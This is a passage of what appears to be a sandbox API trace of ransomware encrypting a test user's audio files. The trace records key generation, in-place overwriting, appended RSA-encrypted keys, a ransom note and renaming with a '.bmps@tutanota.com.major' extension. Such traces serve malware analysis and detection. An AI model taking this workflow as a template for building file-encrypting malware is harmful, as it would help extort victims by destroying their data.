[0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.195] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a50ae0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17a50ae0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] GetLastError () returned 0x0 [0156.195] SetLastError (dwErrCode=0x0) [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.195] FindNextFileW (in: hFindFile=0x631640, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a50ae0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17a50ae0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.195] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.195] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.195] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Ohhew1xd94o1f0nRmx.m4a", dwFileAttributes=0x80) returned 1 [0156.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.196] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Ohhew1xd94o1f0nRmx.m4a" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ohhew1xd94o1f0nrmx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0156.196] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=87208) returned 1 [0156.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x154a8) returned 0x6538b0 [0156.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x154a8) returned 0x2e60f28 [0156.196] ReadFile (in: hFile=0x6d4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x154a8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x154a8, lpOverlapped=0x0) returned 1 [0156.198] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=-87208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.198] WriteFile (in: hFile=0x6d4, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x154a8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x154a8, lpOverlapped=0x0) returned 1 [0156.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.199] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x154a8 [0156.199] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.199] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="LetI+7M/Skm4MtIOpaVXvL3DBCEytaEn4y88nv8SBSO7Q3rX5WvKi1d8pVFZ3JOL\nFu+rMx6AQApUhP1DStMwS3xgrlyqvBpE3Os2DB4/MOzIR7DAPk3SBjWgFDDDh4xO\npZyiWzOHKK6g+mQRgpBBSiDo9DTjrKXGXVllvxRt06su7EMj+KnmpGKU1I6IRdb9\nQHVIEWKxIjzqtm7QuJSwf9ia9UKePdxKUysH89T2RGQqImAUv53XGCFugjM3cfIW\nct3Aa9COoyVdKcSuA6WlwpMo+jXI9nnFwheML0eCAcBgEwAqn0OM9ocSLk7pFJTc\nW+sU7PvqeGbn/U+jpf6sZw==\n", pcchString=0x2e3f9a8) returned 1 [0156.200] WriteFile (in: hFile=0x6d4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.200] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.200] CloseHandle (hObject=0x6d4) returned 1 [0156.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.200] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Ohhew1xd94o1f0nRmx.m4a" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ohhew1xd94o1f0nrmx.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Ohhew1xd94o1f0nRmx.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ohhew1xd94o1f0nrmx.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.202] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.202] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Kgzu_sNYYXKauV.wav", dwFileAttributes=0x80) returned 1 [0156.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0156.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.211] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Kgzu_sNYYXKauV.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\kgzu_snyyxkauv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0156.211] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3496) returned 1 [0156.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xda8) returned 0x2f60050 [0156.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xda8) returned 0x6538b0 [0156.211] ReadFile (in: hFile=0x6d4, lpBuffer=0x2f60050, nNumberOfBytesToRead=0xda8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0xda8, lpOverlapped=0x0) returned 1 [0156.212] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=-3496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.212] WriteFile (in: hFile=0x6d4, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0xda8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda8, lpOverlapped=0x0) returned 1 [0156.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0156.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.212] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda8 [0156.212] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.213] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.213] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.213] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.213] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.213] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jfP31nJqzzvg139caZc9760K0ais0q28WBZx7ESGnVT9Kib20ye2VV98qf4m5FR7\nJLEHbB2YSE6J4bzCa3CsgBfFBRoqsRrDLsz0OdyZFaULSrVwDw2TYRyOjEktAEiy\n/cyXw8FHjVA5vM5IDd8CFQlRx0nhG3H0clQNhD40U+4BveJ6Dk4frkCNhcKcAAFw\ns2LILCDgtVNWdtTS7xeDNG7cOJ6Z+yQbhkbWwiWGnqRPVsYvXvRA0Br+yNaAmOBu\nW2McHIOfAakiRnMiDSJ4fxjE06fziR/JMH7+Q4qr6HnIkMbCS9oi2ZiLQt4R4JZK\nztzEjLhvIhRJUx+7EVp3AQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.213] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.213] CloseHandle (hObject=0x6d4) returned 1 [0156.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.214] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Kgzu_sNYYXKauV.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\kgzu_snyyxkauv.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\Kgzu_sNYYXKauV.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\kgzu_snyyxkauv.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0156.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0156.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.261] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.261] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\dBGrIeOazI_1.wav", dwFileAttributes=0x80) returned 1 [0156.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0156.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0156.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0156.261] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\dBGrIeOazI_1.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\dbgrieoazi_1.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0156.262] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3138) returned 1 [0156.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc42) returned 0x2f60050 [0156.262] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc42) returned 0x6538b0 [0156.262] ReadFile (in: hFile=0x6d4, lpBuffer=0x2f60050, nNumberOfBytesToRead=0xc42, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0xc42, lpOverlapped=0x0) returned 1 [0156.263] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=-3138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.263] WriteFile (in: hFile=0x6d4, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0xc42, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc42, lpOverlapped=0x0) returned 1 [0156.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0156.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.263] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc42 [0156.263] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.263] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.263] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="bfnCvr5qNzPQGWhVcFvMlQitK4+cKfM/gpNyTwYzEKkS/hr+c3dt96j7OykTn1VM\nVPi5J8lHjzzwZz77nBLWQcdzLOoPvn5j5STl5wa+ckse7Kt3L6rpPvZQJiGvERs/\nPwCeVmy7Z2MreZG+DLLG3DMmwbvIYWxNcff7C9HGrUgrZiJIEI3pR/rcylwtIhI5\nodTaO/BqhsvfuutdLuH+Ks180zst+8cTHtvc0uoH8iQzWkirrq2aZzI3Q2WDfmQB\ncwKBFkZ1HE+wVdnUEtlCy2xOaT1fBQj33ZPKqreAnES0CHgk6hZ6tvFc8ljZrAxL\nREclsgymJcmIlqv1mBxMRQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.264] WriteFile (in: hFile=0x6d4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.264] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.264] CloseHandle (hObject=0x6d4) returned 1 [0156.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.264] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\dBGrIeOazI_1.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\dbgrieoazi_1.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\dBGrIeOazI_1.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\dbgrieoazi_1.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0156.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0156.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0156.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.266] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.266] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\AJQ0r-A 5.wav", dwFileAttributes=0x80) returned 1 [0156.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0156.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0156.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0156.266] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\AJQ0r-A 5.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ajq0r-a 5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0156.266] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40049) returned 1 [0156.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9c71) returned 0x6538b0 [0156.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9c71) returned 0x65d530 [0156.267] ReadFile (in: hFile=0x6d4, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x9c71, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x9c71, lpOverlapped=0x0) returned 1 [0156.269] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=-40049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x65d530*, nNumberOfBytesToWrite=0x9c71, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d530*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9c71, lpOverlapped=0x0) returned 1 [0156.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d530 | out: hHeap=0x570000) returned 1 [0156.269] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9c71 [0156.269] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.269] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.269] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.269] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.270] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.270] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="f9QLTHkxqZlpl2K+FsEBWUAjfzIO7M3bKdmiE90n1Hu1a8mPpetcsJsQHqnumfyo\nJhjstK8eFfYuC0GMc9i2f0fvMH8Ye/UhT9MkPFdDLadq3AnRMIuLQDWYzFSwAJsB\ne/nl+Wg3aTwFP3SC9nvtAXtUtZBHDHkORipydkSsAXHC3vi6FMpKwAtctETtLiw7\nSwjOLa7LqZg/VWwXrpYZiXw3tsXNQvfqq9ZFQ7UZpcaRmrNuWB3pMsblZKMlpzVf\nGEtJqvG+VR5fExARA4ZbFkqpbY0Y+2fsHy49SGcdTm5DO711QTU8rhbFz+/XdCIE\nPXBoxoXsLhnpDKG1mu8JMg==\n", pcchString=0x2e3f9a8) returned 1 [0156.270] WriteFile (in: hFile=0x6d4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.270] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.270] WriteFile (in: hFile=0x6d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, 